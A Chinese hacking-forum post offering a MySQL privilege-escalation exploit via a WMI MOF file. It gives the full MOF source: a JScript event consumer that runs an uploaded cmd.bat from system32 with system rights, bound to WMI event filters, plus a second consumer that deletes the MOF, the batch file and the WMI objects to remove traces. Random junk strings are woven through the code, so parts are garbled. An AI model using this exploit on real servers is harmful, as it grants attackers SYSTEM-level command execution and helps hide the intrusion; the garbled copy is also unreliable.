找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2102|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
- {; Y2 g( Q# `* K需要将要运行的命令写入到bat上传到system32目录,然后执行。1 s# s2 Z  N9 l2 u6 k* [( q$ n
& d9 r7 k* E; K+ V6 q8 e
这个sql提权MOF需要运行 system下的文件,不能定义路径。  ]) G$ f* F( d' t, K
需要将要运行的命令写入到bat上传到system32目录,然后执行。- u/ s& P5 c1 }) O/ o; ~9 w
/ F! `* n% b7 s
#pragma
( j4 L1 N$ K. b: Y                        namespace("\\\\.\\root\\cimv2")7 @, ?% d( G; Z7 d; C3 o
                        class
# ^. s$ F4 z8 ~& o2 `                        MyClass547, K( t& a+ f6 ^
                        {           [key]: l5 [* o( M( Y% Z
                        string
) L0 d9 R  g! o5 [3 f                        Name;
1 e9 q8 S, x- p8 p& Q% S7 b! Z( W( E+ ]                        };
( p; b) S( N8 G- u9 M                        class
6 F: O8 s2 h0 m                        ActiveScriptEventConsumer
& h9 W, U" V* ~- P                        : __EventConsumer {          [key]
) P4 T! A, o! j9 f8 c5 X                        string) z  F3 N$ A; Z- [: Q" l# {
                        Name;           [not_null]
" Q$ \% U) Q% S/ l2 S- _                        string
  M3 o5 z- Y5 M; h% d                        ScriptingEngine;           string
5 ?. P/ [. s# \2 i: I                        ScriptFileName;           [template]
3 m( N8 f6 b/ o! \7 B1 c                        string
# h! q& s8 A2 a: ~+ |! r                        ScriptText;         uint32 KillTimeout;
' S* b4 Q6 y9 @                        }; instance of __Win32Provider as $P {
) G. L# q# Y* @                        Name$ e% r2 ?3 m! h) e& y
                        =
: ]4 b' f& d9 V2 |( P2 T9 m) @                        "ActiveScriptEventConsumer";     CLSID =
1 ~2 Z5 n( h; l$ b6 N/ m                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 }. D8 m+ n6 \$ G                        PerUserInitialization
- B/ e/ @, b2 @4 E5 n" f# P                        = TRUE;
6 j# z- M8 t( }( f4 H                        }; instance of __EventConsumerProviderRegistration {         Provider) H* D1 a  V' h- H; F% ]+ h
                        = $P;         ConsumerClassNames
3 I2 S5 t4 j0 l2 l& B2 c                        =
7 T1 k8 |) |& F: G5 u                        {"ActiveScriptEventConsumer"};
9 z2 A6 k) _. f2 x' }1 P5 }                        };
5 ^( n# M- j  @8 u* V" J6 f+ Y: j                        Instance of ActiveScriptEventConsumer
  A/ o3 Y0 V# i! s: A0 }- j) h                        as $cons {         Name+ ?6 i" G- `0 h; y) M
                        =
, b" J7 n) c' T                        "ASEC";         ScriptingEngine
8 o# @9 c2 ~- W7 J. v6 e: l                        =
1 ^- Z$ R' `7 u) l; T  @                        "JScript";         ScriptText
+ @& a! Z- N* c- y                        =
/ B! s! K" s) ^, u) ]7 b: e                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };1 i1 C6 R: i4 p( c) `4 |% L, X( n6 S5 |
                        Instance of ActiveScriptEventConsumer
( y* U) Q- A' K3 \: ~, A4 D                        as $cons2 {         Name; p4 C: g: _! i' E* L
                        =
% C+ b+ d) S9 P* Y1 x7 ~                        "qndASEC";         ScriptingEngine9 H1 b* k& r3 h. D
                        =9 W- X6 ]3 b8 A- R
                        "JScript";         ScriptText
% \2 I* G: {. d                        =  R; S9 Y$ @2 B2 F) W1 x: p9 X
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";) S3 I- H3 T4 G# A. f+ l" T
                        }; instance of __EventFilter as $Filt {         Name1 s6 j+ o( d# M
                        =& U( i; h) b1 i, V
                        "instfilt";         Query& x, p& w5 U) E% C4 Q* ^
                        =
' L6 B! p( C, M, g                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
$ a; g: a! X9 {                        =5 S& a+ F" }' g- w5 \" Q
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name& e: j$ E% w8 k1 e  s
                        =* V4 o  f4 r% s
                        "qndfilt";         Query
4 R6 r1 }0 X; c& N/ [! V2 ^                        =
% o8 B/ _4 K% M8 c' Q" o                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage- \8 n, F% P" m; Z& n8 l
                        =* p- |. K5 X! i
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer$ J$ F4 Y: G( Z) s! r
                        = $cons;         Filter1 v( r$ S: v* e6 t: K1 w1 p
                        = $Filt;& a1 `- G8 U$ A/ h6 j% ?4 y4 P
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
7 z' o) t' i1 [0 A  F( ~  j                        = $cons2;         Filter
9 r1 b& i- N# X2 Y                        = $Filt2;* x. v+ V- A. z7 B( q
                        }; instance of MyClass547
5 l7 D1 ?. [. H                        as $MyClass {         Name
5 a2 A  Q" B6 ]$ M                        =
% |. T" R7 _" p                        "ClassConsumer";
# u! C+ b2 G2 ?5 Z                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表